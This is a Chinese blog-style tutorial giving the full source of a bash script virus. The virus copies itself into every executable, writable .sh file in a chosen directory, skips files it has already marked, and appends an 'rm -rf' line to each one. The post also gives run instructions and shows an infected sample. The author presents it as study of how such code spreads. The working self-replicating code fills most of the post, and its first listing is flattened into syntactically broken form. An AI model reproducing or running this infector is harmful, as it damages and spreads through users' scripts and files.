1. 程式人生 > >Linux系統下用shell指令碼病毒感染其它linux指令碼程式

Linux系統下用shell指令碼病毒感染其它linux指令碼程式

1.前言

這篇文章算是通過學習網上其它幾篇關於shell指令碼病毒文章後自己寫的學習心得,通過寫這篇文章讓自己能夠加深理解一下相關知識。但是其實下面用到的shell指令碼病毒的現實意義不大,但是對於理解病毒傳播的機制有一定的作用,僅作為參考而已。

2.指令碼程式碼及感染步驟

1)首先建立一個空檔案,命名以.sh結尾,例如:virus.sh。然後開啟該檔案輸入如下程式碼:

#!/bin/bash
#B:<+!a%C&t:>
for file in /home/wangqingchuan92/Desktop/Test/*.sh 
do 
if test -f $file 
then
if test -x $file then if test -w $file then if grep 'B:<+!a%C&t:>' $file > /dev/null #判斷是否已經感染過 then continue else touch /tmp/vTmp cat $file > /tmp/vTmp cp $0 $file cat /tmp/vTmp >> $file rm -f /tmp/vTmp echo "rm -rf /tmp/aa">> $file echo "success !" fi; fi; fi;fi done #E:<+!a%C&t:>

該指令碼的邏輯是:進入目標目錄,判斷該目錄下指令碼檔案是否存在,是否有許可權執行、寫,是否感染過,如果可寫可執行沒感染就感染指令碼(把virus指令碼複製到要感染的指令碼中並且在被感染的指令碼中追加“rm -rf /tmp/aa”,其中/tmp/aa是隨便定義的資料夾)。
程式碼中“for file in /home/wangqingchuan92/Desktop/Test/*.sh ”是要感染的指令碼所在目錄位置。
2)給該檔案設定可執行許可權,開啟終端,定位到該指令碼存放的目錄下輸入指令“chmod +x virus.sh”
3)輸入指令“./virus.sh”執行該病毒指令碼。

3實際操作

在/home/wangqingchuan92/Desktop/Test存放一個名字叫a.sh指令碼,當作要被感染的指令碼,指令碼內容如下:

#!/bin/bash
ls -l

在終端中對該指令碼輸入指令:chmod 777 a.sh,然後執行2中的步驟,在執行結束後再開啟該“肉雞”指令碼,程式碼如下:

#!/bin/bash
#B:<+!a%C&t:>
for file in /home/wangqingchuan92/Desktop/Test/*.sh 
do 
if test -f $file 
then 
if test -x $file 
then 
if test -w $file 
then
if grep 'B:<+!a%C&t:>' $file > /dev/null #判斷是否已經感染過
then 
continue 
else
touch /tmp/vTmp
cat $file > /tmp/vTmp
cp $0 $file 
cat /tmp/vTmp >> $file
rm -f /tmp/vTmp
echo "rm -rf /tmp/aa">> $file
echo "success !"
fi; fi; fi;fi
done 
#E:<+!a%C&t:>


#!/bin/bash
ls -l

rm -rf /tmp/aa

4後記

從上例可以看出一個病毒指令碼比較簡單,不需要很多知識就可以寫出一個。這篇文章只是分享一下自己對病毒指令碼的一個初步的理解,該指令碼沒有任何實際用處。